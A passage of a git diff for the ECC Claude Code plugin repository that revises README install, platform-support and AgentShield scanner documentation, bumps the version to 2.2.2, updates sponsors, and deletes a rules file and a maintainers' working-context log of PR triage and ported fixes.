+ +## Platform Support ECC's core Node.js CLI and managed installers run on **Windows, macOS, and Linux**, but optional capabilities are not at full parity. Some continuous-learning, GAN, and orchestration paths still require Bash or Python; harnesses also expose different hook, agent, and skill APIs. @@ -1485,6 +1280,15 @@ ECC's core Node.js CLI and managed installers run on **Windows, macOS, and Linux Treat `stable`, `beta`, `experimental`, and `instruction-only` below as capability statements, not marketing tiers. +| Harness | Status | Recommended distribution | Important limitation | +|---|---|---|---| +| Claude Code | Stable primary | Plugin or selective installer | The plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS. | +| Codex | Supported native plugin | Codex marketplace plugin or repo config | Native hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only. | +| Cursor | Beta project adapter | Selective installer into `.cursor/` | Agent discovery varies by Cursor build, and ECC's installer paths do not yet expose identical hook sets ([#2419](https://github.com/affaan-m/ECC/issues/2419)). | +| OpenCode | Beta built plugin | Build plugin, then selective installer | ECC ships a subset of the catalog; connect a provider and select a model in OpenCode ([#2617](https://github.com/affaan-m/ECC/issues/2617)). | +| GitHub Copilot | Instruction-only | Checked-in instructions and prompt files | No ECC hooks, runtime agents, delegation, or native skill discovery. | +| Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode | Experimental/minimal adapters | Harness-specific selective target | File placement and instruction portability are tested; full Claude feature parity is not claimed. | +
Package manager detection @@ -1583,16 +1387,8 @@ Paths resolved under that root include: See [affaan-m/ECC#2065](https://github.com/affaan-m/ECC/issues/2065).
-## Platform Support - -| Harness | Status | Recommended distribution | Important limitation | -|---|---|---|---| -| Claude Code | Stable primary | Plugin or selective installer | The plugin advertises the installed catalog to the model; use a selective/manual profile when context footprint matters. Optional shell-backed skills are not portable to every OS. | -| Codex | Supported native plugin | Codex marketplace plugin or repo config | Native hooks require an explicit trust decision and do not use Claude's hook profiles. The legacy sync is compatibility-only. | -| Cursor | Beta project adapter | Selective installer into `.cursor/` | Agent discovery varies by Cursor build, and ECC's installer paths do not yet expose identical hook sets ([#2419](https://github.com/affaan-m/ECC/issues/2419)). | -| OpenCode | Beta built plugin | Build plugin, then selective installer | ECC ships a subset of the catalog; connect a provider and select a model in OpenCode ([#2617](https://github.com/affaan-m/ECC/issues/2617)). | -| GitHub Copilot | Instruction-only | Checked-in instructions and prompt files | No ECC hooks, runtime agents, delegation, or native skill discovery. | -| Gemini, Zed, Antigravity, Qwen, Hermes, OpenClaw, Kimi, CodeBuddy, JoyCode | Experimental/minimal adapters | Harness-specific selective target | File placement and instruction portability are tested; full Claude feature parity is not claimed. | +
+Cross-tool capability map and per-harness notes ### Cross-tool capability map @@ -1788,13 +1584,12 @@ The adapter writes ECC-managed files under `.zed/` and keeps BYOK/OpenRouter cre ECC provides a beta OpenCode plugin integration with instructions, a catalog subset, commands, custom tools, and hook events. It does not provide feature parity with Claude Code. The reference config inherits the user's OpenCode model selection instead of pinning a provider-specific model. ```bash -# Install OpenCode -npm install -g opencode - -# Run in the repository root +# Run your reviewed OpenCode installation in the repository root opencode ``` +For installation, use the [official OpenCode instructions](https://opencode.ai/docs/), select an exact release, and verify it before execution. The upstream npm package is `opencode-ai`, not `opencode`. ECC does not attest to an audited OpenCode runtime version. + The configuration is automatically detected from `.opencode/opencode.json`. #### Hook support via plugins @@ -1821,7 +1616,7 @@ opencode **Option 2: Install as npm package** ```bash -npm install ecc-universal +npm install ecc-universal@2.2.2 ``` Then add to your `opencode.json`: @@ -1899,6 +1694,7 @@ ECC v2.0.0 stabilizes the 2.0 line with the public Hermes operator story, 281 sk - [Hermes setup guide](docs/HERMES-SETUP.md) - [Migration guide from 1.x](docs/MIGRATION-1X-TO-2.0.md)
+ ## Token Optimization @@ -2013,10 +1809,10 @@ Install ECC only from official sources: - GitHub App: - Website: -Scan a project with AgentShield: +Scan a project with an already installed, reviewed AgentShield binary (see [runner provenance](#agentshield-runner-provenance)): ```bash -npx -y ecc-agentshield scan --path . +agentshield scan --path . ``` - **Report a vulnerability.** Use the private process in [SECURITY.md](SECURITY.md) (GitHub private vulnerability reporting). Please do not open public issues for security reports. @@ -2043,6 +1839,91 @@ Security references: - [MCP connector policy](docs/MCP-CONNECTOR-POLICY.md) - [Supply-chain incident response](docs/security/supply-chain-incident-response.md) +## Ecosystem Tools + +
+Skill Creator: generate skills from your git history + +Two ways to generate skills from your repository: + +### Option A: Local Analysis (Built-in) + +Use the `/skill-create` command for local analysis without external services: + +```bash +/skill-create # Analyze current repo +/skill-create --instincts # Also generate instincts for continuous-learning-v2 +``` + +This analyzes your git history locally and generates SKILL.md files. + +### Option B: GitHub App (Advanced) + +For advanced features (10k+ commits, auto-PRs, team sharing): + +[Install ECC Tools GitHub App](https://github.com/apps/ecc-tools) | [ecc.tools](https://ecc.tools) + +```bash +# Comment on any issue: +/ecc-tools analyze +``` + +Both options create: +- **SKILL.md files**: Ready-to-use skills for the active harness +- **Instinct collections**: For continuous-learning-v2 +- **Pattern extraction**: Learns from your commit history +
+ +
+AgentShield: security auditor for agent configs + +> Built at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules. + +Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks. + + +**Runner provenance:** these commands require an already installed, reviewed AgentShield binary from `ecc-agentshield`. The [official package](https://www.npmjs.com/package/ecc-agentshield) documents the `agentshield` CLI. Record the selected release, reviewed source and verified package integrity in your installation record. Registry publication alone does not establish an audit; ECC does not supply an audited AgentShield pin here. Do not substitute an unversioned one-shot download. `/security-scan` is workflow guidance and has the same runner prerequisite. + +```bash +# Scan only the intended project directory +agentshield scan --path . + +# Auto-fix safe issues +agentshield scan --path . --fix + +# Deep analysis with three Opus 4.6 agents +agentshield scan --path . --opus --stream + +# Generate secure config from scratch +agentshield init +``` + +**What it scans:** CLAUDE.md, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review. + +**The `--opus` flag** runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching. + +**Output formats:** Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates. + +Use `/security-scan` in Claude Code to run it, or add to CI with the [GitHub Action](https://github.com/affaan-m/agentshield). + +[GitHub](https://github.com/affaan-m/agentshield) | [npm](https://www.npmjs.com/package/ecc-agentshield) +
+ +
+Continuous Learning v2: instincts + +The instinct-based learning system automatically learns your patterns: + +```bash +/instinct-status # Show learned instincts with confidence +/instinct-import # Import instincts from others +/instinct-export # Export your instincts for sharing +/evolve # Cluster related instincts into skills +``` + +See `skills/continuous-learning-v2/` for full documentation. Keep `continuous-learning/` only when you explicitly want the legacy v1 Stop-hook learned-skill flow. +
+ ## Troubleshooting
@@ -2076,55 +1957,7 @@ node scripts/codex/check-plugin-cache.js If it reports unresolved parent references, refresh the native cache with `codex plugin marketplace upgrade ecc`, run `codex plugin add ecc@ecc` again, and restart Codex. Registration in `codex plugin list` confirms the marketplace entry, while the cache check verifies that the installed manifest can resolve its skills, MCP configuration, and assets. Use `bash scripts/sync-ecc-to-codex.sh` only when you intentionally need the legacy copied-configuration compatibility path.
-
-My context window is shrinking - -Too many MCP servers eat your context. Each MCP tool description consumes tokens from your 200k window, potentially reducing it to ~70k. SessionStart context is capped at 8000 characters by default; lower it with `ECC_SESSION_START_MAX_CHARS=4000` or disable it with `ECC_SESSION_START_CONTEXT=off` for local-model or low-context setups. - -**Fix:** Disable unused MCPs from Claude Code with `/mcp`. Claude Code writes those runtime choices to `~/.claude.json`; `.claude/settings.json` and `.claude/settings.local.json` are not reliable toggles for already-loaded MCP servers. - -Keep under 10 MCPs enabled and under 80 tools active. -
- -
-Can I use only some components (e.g., just agents)? - -Yes. Use the manual component copies in [Advanced Install Options](#advanced-install-options) and copy only what you need: - -```bash -# Just agents -cp agents/*.md ~/.claude/agents/ - -# Just rules -mkdir -p ~/.claude/rules/ecc/ -cp -r rules/common ~/.claude/rules/ecc/ -``` - -Each component is fully independent. -
- -
-Does this work with Cursor / OpenCode / Codex / Antigravity / GitHub Copilot? - -Yes. ECC is cross-platform: -- **Cursor**: Pre-translated configs in `.cursor/`. See [Platform Support](#platform-support). -- **Gemini CLI**: Experimental project-local support via `.gemini/GEMINI.md` and shared installer plumbing. -- **OpenCode**: Beta plugin integration in `.opencode/`; models follow the user's OpenCode selection, while catalog parity remains limited. -- **Codex**: Supported native marketplace plugin for the app and CLI, plus repo-local configuration. The older sync flow remains available only for compatibility. -- **GitHub Copilot (VS Code)**: Instruction and prompt layer via `.github/copilot-instructions.md`, `.vscode/settings.json`, and `.github/prompts/`. -- **Antigravity**: Native Antigravity 2.0 setup for workflows, skills, custom agents, and flattened rules in `.agents/`. See [Antigravity Guide](docs/ANTIGRAVITY-GUIDE.md). -- **JoyCode / CodeBuddy**: Project-local selective install adapters for commands, agents, skills, and flattened rules. See [JoyCode Adapter Guide](docs/JOYCODE-GUIDE.md). -- **Qwen CLI**: Home-directory selective install adapter for commands, agents, skills, rules, and Qwen config. See [Qwen CLI Adapter Guide](docs/QWEN-GUIDE.md). -- **Zed**: Project-local selective install adapter for `.zed/settings.json`, flattened rules, commands, agents, and skills. -- **Non-native harnesses**: Manual fallback path for chat-style interfaces. See [Manual Adaptation Guide](docs/MANUAL-ADAPTATION-GUIDE.md). -- **Claude Code**: Native. This is the primary target. -
- -
-My platform is not listed - -Use the [manual adaptation guide](docs/MANUAL-ADAPTATION-GUIDE.md), or open a [GitHub discussion](https://github.com/affaan-m/ECC/discussions) with the harness name and the file, skill, command, and hook formats it supports. -
+More answers: [TROUBLESHOOTING.md](TROUBLESHOOTING.md) covers memory, hooks, installation, performance, and common error messages. [docs/TROUBLESHOOTING.md](docs/TROUBLESHOOTING.md) tracks workarounds for open Claude Code bugs. ## Running Tests diff --git a/README.zh-CN.md b/README.zh-CN.md index 589032fd1..577cf32e4 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -80,7 +80,7 @@ ## 最新动态 -### v2.2.1 — 引导式多 Harness 安装(2026年8月) +### v2.2.2 — 引导式多 Harness 安装(2026年8月) 新增可审查的 Claude Code、Codex 与 Kimi Code 多 Harness 安装流程,并提供同步的 npm 命令入口。 @@ -196,7 +196,7 @@ Copy-Item -Recurse rules/typescript "$HOME/.claude/rules/" /plugin list ecc@ecc ``` -**完成!** 你现在可以使用 68 个代理、287 个技能和 95 个命令。 +**完成!** 你现在可以使用 68 个代理、293 个技能和 95 个命令。 ### multi-* 命令需要额外配置 diff --git a/RULES.md b/RULES.md deleted file mode 100644 index 551f16e68..000000000 --- a/RULES.md +++ /dev/null @@ -1,38 +0,0 @@ -# Rules - -## Must Always -- Delegate to specialized agents for domain tasks. -- Write tests before implementation and verify critical paths. -- Validate inputs and keep security checks intact. -- Prefer immutable updates over mutating shared state. -- Follow established repository patterns before inventing new ones. -- Keep contributions focused, reviewable, and well-described. - -## Must Never -- Include sensitive data such as API keys, tokens, secrets, or absolute/system file paths in output. -- Submit untested changes. -- Bypass security checks or validation hooks. -- Duplicate existing functionality without a clear reason. -- Ship code without checking the relevant test suite. - -## Agent Format -- Agents live in `agents/*.md`. -- Each file includes YAML frontmatter with `name`, `description`, `tools`, and `model`. -- File names are lowercase with hyphens and must match the agent name. -- Descriptions must clearly communicate when the agent should be invoked. - -## Skill Format -- Skills live in `skills//SKILL.md`. -- Each skill includes YAML frontmatter with `name`, `description`, and `origin`. -- Use `origin: ECC` for first-party skills and `origin: community` for imported/community skills. -- Skill bodies should include practical guidance, tested examples, and clear "When to Use" sections. - -## Hook Format -- Hooks use matcher-driven JSON registration and shell or Node entrypoints. -- Matchers should be specific instead of broad catch-alls. -- Exit `1` only when blocking behavior is intentional; otherwise exit `0`. -- Error and info messages should be actionable. - -## Commit Style -- Use conventional commits such as `feat(skills):`, `fix(hooks):`, or `docs:`. -- Keep changes modular and explain user-facing impact in the PR summary. diff --git a/SOUL.md b/SOUL.md index 38e79ffa3..bef1d69e2 100644 --- a/SOUL.md +++ b/SOUL.md @@ -1,7 +1,7 @@ # Soul ## Core Identity -Everything Claude Code (ECC) is a production-ready AI coding plugin with 30 specialized agents, 135 skills, 60 commands, and automated hook workflows for software development. +Everything Claude Code (ECC) is a production-ready AI coding plugin: specialized agents, on-demand skills, slash commands, rules, and automated hook workflows for software development. ## Core Principles 1. **Agent-First** — route work to the right specialist as early as possible. diff --git a/SPONSORS.md b/SPONSORS.md index dd74724b3..bb63534d6 100644 --- a/SPONSORS.md +++ b/SPONSORS.md @@ -12,14 +12,20 @@ Thank you to everyone funding ECC's open-source work. Your sponsorship is what l |---------|------|-------| | [**CodeRabbit**](https://www.coderabbit.ai) | CodeRabbit logo | 2026 | | [**Greptile**](https://www.greptile.com/go/ecc) | Greptile logo | 2026 | -| [**Atlas Cloud**](https://www.atlascloud.ai/?utm_source=github&utm_medium=link&utm_campaign=ECC) | Atlas Cloud logo | 2026 | | [**Moonshot AI (Kimi)**](https://www.moonshot.ai) | Moonshot AI Kimi logo | 2026 | | [**Itô**](https://compute.itomarkets.com) | Itô Markets logo | 2026 | +| [**SerpApi**](https://serpapi.com/github-ecc) | SerpApi: Web Search API | 2026 | *[Become a Business sponsor](https://github.com/sponsors/affaan-m) to get README sponsor placement + SPONSORS.md listing. Current Business tier is $800/mo. No seats, SLA, custom development, or preferential technical placement is bundled unless separately agreed.* Run or self-host any open-source model. Itô partners with ECC on compute, while ECC remains provider-agnostic and any GPU provider works. The [Itô dashboard](https://compute.itomarkets.com) sponsorship link is passive: it does not invoke an RFQ, reserve capacity, provision compute, or configure serving. Separately, the opt-in `ecc ito find` bridge invokes the explicitly configured canonical Itô CLI and submits a live authenticated RFQ; it does not reserve capacity. Managed inference through Itô is not live yet. +## Past Sponsors + +| Sponsor | Active period | +|---------|---------------| +| [**Atlas Cloud**](https://www.atlascloud.ai/?utm_source=github&utm_medium=link&utm_campaign=ECC) | 2026 | + ## Team Sponsors — $200/mo | Sponsor | Since | diff --git a/VERSION b/VERSION index c043eea77..b1b25a5ff 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.2.1 +2.2.2 diff --git a/WORKING-CONTEXT.md b/WORKING-CONTEXT.md deleted file mode 100644 index 62fa3450e..000000000 --- a/WORKING-CONTEXT.md +++ /dev/null @@ -1,179 +0,0 @@ -# Working Context - -Last updated: 2026-04-08 - -## Purpose - -Public ECC plugin repo for agents, skills, commands, hooks, rules, install surfaces, and ECC 2.0 platform buildout. - -## Current Truth - -- Default branch: `main` -- Public release surface is aligned at `v1.10.0` -- Public catalog truth is `47` agents, `79` commands, and `181` skills -- Public plugin slug is now `ecc`; legacy `everything-claude-code` install paths remain supported for compatibility -- Release discussion: `#1272` -- ECC 2.0 exists in-tree and builds, but it is still alpha rather than GA -- Main active operational work: - - keep default branch green - - continue issue-driven fixes from `main` now that the public PR backlog is at zero - - continue ECC 2.0 control-plane and operator-surface buildout - -## Current Constraints - -- No merge by title or commit summary alone. -- No arbitrary external runtime installs in shipped ECC surfaces. -- Overlapping skills, hooks, or agents should be consolidated when overlap is material and runtime separation is not required. - -## Active Queues - -- PR backlog: reduced but active; keep direct-porting only safe ECC-native changes and close overlap, stale generators, and unaudited external-runtime lanes -- Upstream branch backlog still needs selective mining and cleanup: - - `origin/feat/hermes-generated-ops-skills` still has three unique commits, but only reusable ECC-native skills should be salvaged from it - - multiple `origin/ecc-tools/*` automation branches are stale and should be pruned after confirming they carry no unique value -- Product: - - selective install cleanup - - control plane primitives - - operator surface - - self-improving skills - - keep `agent.yaml` export parity with the shipped `commands/` and `skills/` directories so modern install surfaces do not silently lose command registration -- Skill quality: - - rewrite content-facing skills to use source-backed voice modeling - - remove generic LLM rhetoric, canned CTA patterns, and forced platform stereotypes - - continue one-by-one audit of overlapping or low-signal skill content - - move repo guidance and contribution flow to skills-first, leaving commands only as explicit compatibility shims - - add operator skills that wrap connected surfaces instead of exposing only raw APIs or disconnected primitives - - land the canonical voice system, network-optimization lane, and reusable Manim explainer lane -- Security: - - keep dependency posture clean - - preserve self-contained hook and MCP behavior - -## Open PR Classification - -- Closed on 2026-04-01 under backlog hygiene / merge policy: - - `#1069` `feat: add everything-claude-code ECC bundle` - - `#1068` `feat: add everything-claude-code-conventions ECC bundle` - - `#1080` `feat: add everything-claude-code ECC bundle` - - `#1079` `feat: add everything-claude-code-conventions ECC bundle` - - `#1064` `chore(deps-dev): bump @eslint/js from 9.39.2 to 10.0.1` - - `#1063` `chore(deps-dev): bump eslint from 9.39.2 to 10.1.0` -- Closed on 2026-04-01 because the content is sourced from external ecosystems and should only land via manual ECC-native re-port: - - `#852` openclaw-user-profiler - - `#851` openclaw-soul-forge - - `#640` harper skills -- Native-support candidates to fully diff-audit next: - - `#1055` Dart / Flutter support - - `#1043` C# reviewer and .NET skills -- Direct-port candidates landed after audit: - - `#1078` hook-id dedupe for managed Claude hook reinstalls - - `#844` ui-demo skill - - `#1110` install-time Claude hook root resolution - - `#1106` portable Codex Context7 key extraction - - `#1107` Codex baseline merge and sample agent-role sync - - `#1119` stale CI/lint cleanup that still contained safe low-risk fixes -- Port or rebuild inside ECC after full audit: - - `#894` Jira integration - - `#814` + `#808` rebuild as a single consolidated notifications lane for Opencode and cross-harness surfaces - -## Interfaces - -- Public truth: GitHub issues and PRs -- Internal execution truth: linked Linear work items under the ECC program -- Current linked Linear items: - - `ECC-206` ecosystem CI baseline - - `ECC-207` PR backlog audit and merge-policy enforcement - - `ECC-208` context hygiene - - `ECC-210` skills-first workflow migration and command compatibility retirement - -## Update Rule - -Keep this file detailed for only the current sprint, blockers, and next actions. Summarize completed work into archive or repo docs once it is no longer actively shaping execution. - -## Latest Execution Notes - -- 2026-04-05: Continued `#1213` overlap cleanup by narrowing `coding-standards` into the baseline cross-project conventions layer instead of deleting it. The skill now explicitly points detailed React/UI guidance to `frontend-patterns`, backend/API structure to `backend-patterns` / `api-design`, and keeps only reusable naming, readability, immutability, and code-quality expectations. -- 2026-04-05: Added a packaging regression guard for the OpenCode release path after `#1287` showed the published `v1.10.0` artifact was still stale. `tests/scripts/build-opencode.test.js` now asserts the `npm pack --dry-run` tarball includes `.opencode/dist/index.js` plus compiled plugin/tool entrypoints, so future releases cannot silently omit the built OpenCode payload. -- 2026-04-05: Landed `skills/agent-introspection-debugging` for `#829` as an ECC-native self-debugging framework. It is intentionally guidance-first rather than fake runtime automation: capture failure state, classify the pattern, apply the smallest contained recovery action, then emit a structured introspection report and hand off to `verification-loop` / `continuous-learning-v2` when appropriate. -- 2026-04-05: Fixed the `main` npm CI break after the latest direct ports. `package-lock.json` had drifted behind `package.json` on the `globals` devDependency (`^17.1.0` vs `^17.4.0`), which caused all npm-based GitHub Actions jobs to fail at `npm ci`. Refreshed the lockfile only, verified `npm ci --ignore-scripts`, and kept the mixed-lock workspace otherwise untouched. -- 2026-04-05: Direct-ported the useful discoverability part of `#1221` without duplicating a second healthcare compliance system. Added `skills/hipaa-compliance/SKILL.md` as a thin HIPAA-specific entrypoint that points into the canonical `healthcare-phi-compliance` / `healthcare-reviewer` lane, and wired both healthcare privacy skills into the `security` install module for selective installs. -- 2026-04-05: Direct-ported the audited blockchain/web3 security lane from `#1222` into `main` as four self-contained skills: `defi-amm-security`, `evm-token-decimals`, `llm-trading-agent-security`, and `nodejs-keccak256`. These are now part of the `security` install module instead of living as an unmerged fork PR. -- 2026-04-05: Finished the useful salvage pass from `#1203` directly on `main`. `skills/security-bounty-hunter`, `skills/api-connector-builder`, and `skills/dashboard-builder` are now in-tree as ECC-native rewrites instead of the thinner original community drafts. The original PR should be treated as superseded rather than merged. -- 2026-04-02: `ECC-Tools/main` shipped `9566637` (`fix: prefer commit lookup over git ref resolution`). The PR-analysis fire is now fixed in the app repo by preferring explicit commit resolution before `git.getRef`, with regression coverage for pull refs and plain branch refs. Mirrored public tracking issue `#1184` in this repo was closed as resolved upstream. -- 2026-04-02: Direct-ported the clean native-support core of `#1043` into `main`: `agents/csharp-reviewer.md`, `skills/dotnet-patterns/SKILL.md`, and `skills/csharp-testing/SKILL.md`. This fills the gap between existing C# rule/docs mentions and actual shipped C# review/testing guidance. -- 2026-04-02: Direct-ported the clean native-support core of `#1055` into `main`: `agents/dart-build-resolver.md`, `commands/flutter-build.md`, `commands/flutter-review.md`, `commands/flutter-test.md`, `rules/dart/*`, and `skills/dart-flutter-patterns/SKILL.md`. The skill paths were wired into the current `framework-language` module instead of replaying the older PR's separate `flutter-dart` module layout. -- 2026-04-02: Closed `#1081` after diff audit. The PR only added vendor-marketing docs for an external X/Twitter backend (`Xquik` / `x-twitter-scraper`) to the canonical `x-api` skill instead of contributing an ECC-native capability. -- 2026-04-02: Direct-ported the useful Jira lane from `#894`, but sanitized it to match current supply-chain policy. `commands/jira.md`, `skills/jira-integration/SKILL.md`, and the pinned `jira` MCP template in `mcp-configs/mcp-servers.json` are in-tree, while the skill no longer tells users to install `uv` via `curl | bash`. `jira-integration` is classified under `operator-workflows` for selective installs. -- 2026-04-02: Closed `#1125` after full diff audit. The bundle/skill-router lane hardcoded many non-existent or non-canonical surfaces and created a second routing abstraction instead of a small ECC-native index layer. -- 2026-04-02: Closed `#1124` after full diff audit. The added agent roster was thoughtfully written, but it duplicated the existing ECC agent surface with a second competing catalog (`dispatch`, `explore`, `verifier`, `executor`, etc.) instead of strengthening canonical agents already in-tree. -- 2026-04-02: Closed the full Argus cluster `#1098`, `#1099`, `#1100`, `#1101`, and `#1102` after full diff audit. The common failure mode was the same across all five PRs: external multi-CLI dispatch was treated as a first-class runtime dependency of shipped ECC surfaces. Any useful protocol ideas should be re-ported later into ECC-native orchestration, review, or reflection lanes without external CLI fan-out assumptions. -- 2026-04-02: The previously open native-support / integration queue (`#1081`, `#1055`, `#1043`, `#894`) has now been fully resolved by direct-port or closure policy. The active public PR queue is currently zero; next focus stays on issue-driven mainline fixes and CI health, not backlog PR intake. -- 2026-04-01: `main` CI was restored locally with `1723/1723` tests passing after lockfile and hook validation fixes. -- 2026-04-01: Auto-generated ECC bundle PRs `#1068` and `#1069` were closed instead of merged; useful ideas must be ported manually after explicit diff audit. -- 2026-04-01: Major-version ESLint bump PRs `#1063` and `#1064` were closed; revisit only inside a planned ESLint 10 migration lane. -- 2026-04-01: Notification PRs `#808` and `#814` were identified as overlapping and should be rebuilt as one unified feature instead of landing as parallel branches. -- 2026-04-01: External-source skill PRs `#640`, `#851`, and `#852` were closed under the new ingestion policy; copy ideas from audited source later rather than merging branded/source-import PRs directly. -- 2026-04-01: The remaining low GitHub advisory on `ecc2/Cargo.lock` was addressed by moving `ratatui` to `0.30` with `crossterm_0_28`, which updated transitive `lru` from `0.12.5` to `0.16.3`. `cargo build --manifest-path ecc2/Cargo.toml` still passes. -- 2026-04-01: Safe core of `#834` was ported directly into `main` instead of merging the PR wholesale. This included stricter install-plan validation, antigravity target filtering that skips unsupported module trees, tracked catalog sync for English plus zh-CN docs, and a dedicated `catalog:sync` write mode. -- 2026-04-01: Repo catalog truth is now synced at `36` agents, `68` commands, and `142` skills across the tracked English and zh-CN docs. -- 2026-04-01: Legacy emoji and non-essential symbol usage in docs, scripts, and tests was normalized to keep the unicode-safety lane green without weakening the check itself. -- 2026-04-01: The remaining self-contained piece of `#834`, `docs/zh-CN/skills/browser-qa/SKILL.md`, was ported directly into the repo. After commit, `#834` should be closed as superseded-by-direct-port. -- 2026-04-01: Content skill cleanup started with `content-engine`, `crosspost`, `article-writing`, and `investor-outreach`. The new direction is source-first voice capture, explicit anti-trope bans, and no forced platform persona shifts. -- 2026-04-01: `node scripts/ci/check-unicode-safety.js --write` sanitized the remaining emoji-bearing Markdown files, including several `remotion-video-creation` rule docs and an old local plan note. -- 2026-04-01: Core English repo surfaces were shifted to a skills-first posture. README, AGENTS, plugin metadata, and contributor instructions now treat `skills/` as canonical and `commands/` as legacy slash-entry compatibility during migration. -- 2026-04-01: Follow-up bundle cleanup closed `#1080` and `#1079`, which were generated `.claude/` bundle PRs duplicating command-first scaffolding instead of shipping canonical ECC source changes. -- 2026-04-01: Ported the useful core of `#1078` directly into `main`, but tightened the implementation so legacy no-id hook installs deduplicate cleanly on the first reinstall instead of the second. Added stable hook ids to `hooks/hooks.json`, semantic fallback aliases in `mergeHookEntries()`, and a regression test covering upgrade from pre-id settings. -- 2026-04-01: Collapsed the obvious command/skill duplicates into thin legacy shims so `skills/` now hold the maintained bodies for NanoClaw, context-budget, DevFleet, docs lookup, E2E, evals, orchestration, prompt optimization, rules distillation, TDD, and verification. -- 2026-04-01: Ported the self-contained core of `#844` directly into `main` as `skills/ui-demo/SKILL.md` and registered it under the `media-generation` install module instead of merging the PR wholesale. -- 2026-04-01: Added the first connected-workflow operator lane as ECC-native skills instead of leaving the surface as raw plugins or APIs: `workspace-surface-audit`, `customer-billing-ops`, `project-flow-ops`, and `google-workspace-ops`. These are tracked under the new `operator-workflows` install module. -- 2026-04-01: Direct-ported the real fix from the unresolved hook-path PR lane into the active installer. Claude installs now replace `${CLAUDE_PLUGIN_ROOT}` with the concrete install root in both `settings.json` and the copied `hooks/hooks.json`, which keeps PreToolUse/PostToolUse hooks working outside plugin-managed env injection. -- 2026-04-01: Replaced the GNU-only `grep -P` parser in `scripts/sync-ecc-to-codex.sh` with a portable Node parser for Context7 key extraction. Added source-level regression coverage so BSD/macOS syncs do not drift back to non-portable parsing. -- 2026-04-01: Targeted regression suite after the direct ports is green: `tests/scripts/install-apply.test.js`, `tests/scripts/sync-ecc-to-codex.test.js`, and `tests/scripts/codex-hooks.test.js`. -- 2026-04-01: Ported the useful core of `#1107` directly into `main` as an add-only Codex baseline merge. `scripts/sync-ecc-to-codex.sh` now fills missing non-MCP defaults from `.codex/config.toml`, syncs sample agent role files into `~/.codex/agents`, and preserves user config instead of replacing it. Added regression coverage for sparse configs and implicit parent tables. -- 2026-04-01: Ported the safe low-risk cleanup from `#1119` directly into `main` instead of keeping an obsolete CI PR open. This included `.mjs` eslint handling, stricter null checks, Windows home-dir coverage in bash-log tests, and longer Trae shell-test timeouts. -- 2026-04-01: Added `brand-voice` as the canonical source-derived writing-style system and wired the content lane to treat it as the shared voice source of truth instead of duplicating partial style heuristics across skills. -- 2026-04-01: Added `connections-optimizer` as the review-first social-graph reorganization workflow for X and LinkedIn, with explicit pruning modes, browser fallback expectations, and Apple Mail drafting guidance. -- 2026-04-01: Added `manim-video` as the reusable technical explainer lane and seeded it with a starter network-graph scene so launch and systems animations do not depend on one-off scratch scripts. -- 2026-04-02: Re-extracted `social-graph-ranker` as a standalone primitive because the weighted bridge-decay model is reusable outside the full lead workflow. `lead-intelligence` now points to it for canonical graph ranking instead of carrying the full algorithm explanation inline, while `connections-optimizer` stays the broader operator layer for pruning, adds, and outbound review packs. -- 2026-04-02: Applied the same consolidation rule to the writing lane. `brand-voice` remains the canonical voice system, while `content-engine`, `crosspost`, `article-writing`, and `investor-outreach` now keep only workflow-specific guidance instead of duplicating a second Affaan/ECC voice model or repeating the full ban list in multiple places. -- 2026-04-02: Closed fresh auto-generated bundle PRs `#1182` and `#1183` under the existing policy. Useful ideas from generator output must be ported manually into canonical repo surfaces instead of merging `.claude`/bundle PRs wholesale. -- 2026-04-02: Ported the safe one-file macOS observer fix from `#1164` directly into `main` as a POSIX `mkdir` fallback for `continuous-learning-v2` lazy-start locking, then closed the PR as superseded by direct port. -- 2026-04-02: Ported the safe core of `#1153` directly into `main`: markdownlint cleanup for orchestration/docs surfaces plus the Windows `USERPROFILE` and path-normalization fixes in `install-apply` / `repair` tests. Local validation after installing repo deps: `node tests/scripts/install-apply.test.js`, `node tests/scripts/repair.test.js`, and targeted `yarn markdownlint` all passed. -- 2026-04-02: Direct-ported the safe web/frontend rules lane from `#1122` into `rules/web/`, but adapted `rules/web/hooks.md` to prefer project-local tooling and avoid remote one-off package execution examples. -- 2026-04-02: Adapted the design-quality reminder from `#1127` into the current ECC hook architecture with a local `scripts/hooks/design-quality-check.js`, Claude `hooks/hooks.json` wiring, Cursor `after-file-edit.js` wiring, and dedicated hook coverage in `tests/hooks/design-quality-check.test.js`. -- 2026-04-02: Fixed `#1141` on `main` in `16e9b17`. The observer lifecycle is now session-aware instead of purely detached: `SessionStart` writes a project-scoped lease, `SessionEnd` removes that lease and stops the observer when the final lease disappears, `observe.sh` records project activity, and `observer-loop.sh` now exits on idle when no leases remain. Targeted validation passed with `bash -n`, `node tests/hooks/observer-memory.test.js`, `node tests/integration/hooks.test.js`, `node scripts/ci/validate-hooks.js hooks/hooks.json`, and `node scripts/ci/check-unicode-safety.js`. -- 2026-04-02: Fixed the remaining Windows-only hook regression behind `#1070` by making `scripts/lib/utils.js#getHomeDir()` honor explicit `HOME` / `USERPROFILE` overrides before falling back to `os.homedir()`. This restores test-isolated observer state paths for hook integration runs on Windows. Added regression coverage in `tests/lib/utils.test.js`. Targeted validation passed with `node tests/lib/utils.test.js`, `node tests/integration/hooks.test.js`, `node tests/hooks/observer-memory.test.js`, and `node scripts/ci/check-unicode-safety.js`. -- 2026-04-02: Direct-ported NestJS support for `#1022` into `main` as `skills/nestjs-patterns/SKILL.md` and wired it into the `framework-language` install module. Synced the repo catalog afterward (`38` agents, `72` commands, `156` skills) and updated the docs so NestJS is no longer listed as an unfilled framework gap. -- 2026-04-05: Shipped `846ffb7` (`chore: ship v1.10.0 release surface refresh`). This updated README/plugin metadata/package versions, synced the explicit plugin agent inventory, bumped stale star/fork/contributor counts, created `docs/releases/1.10.0/*`, tagged and released 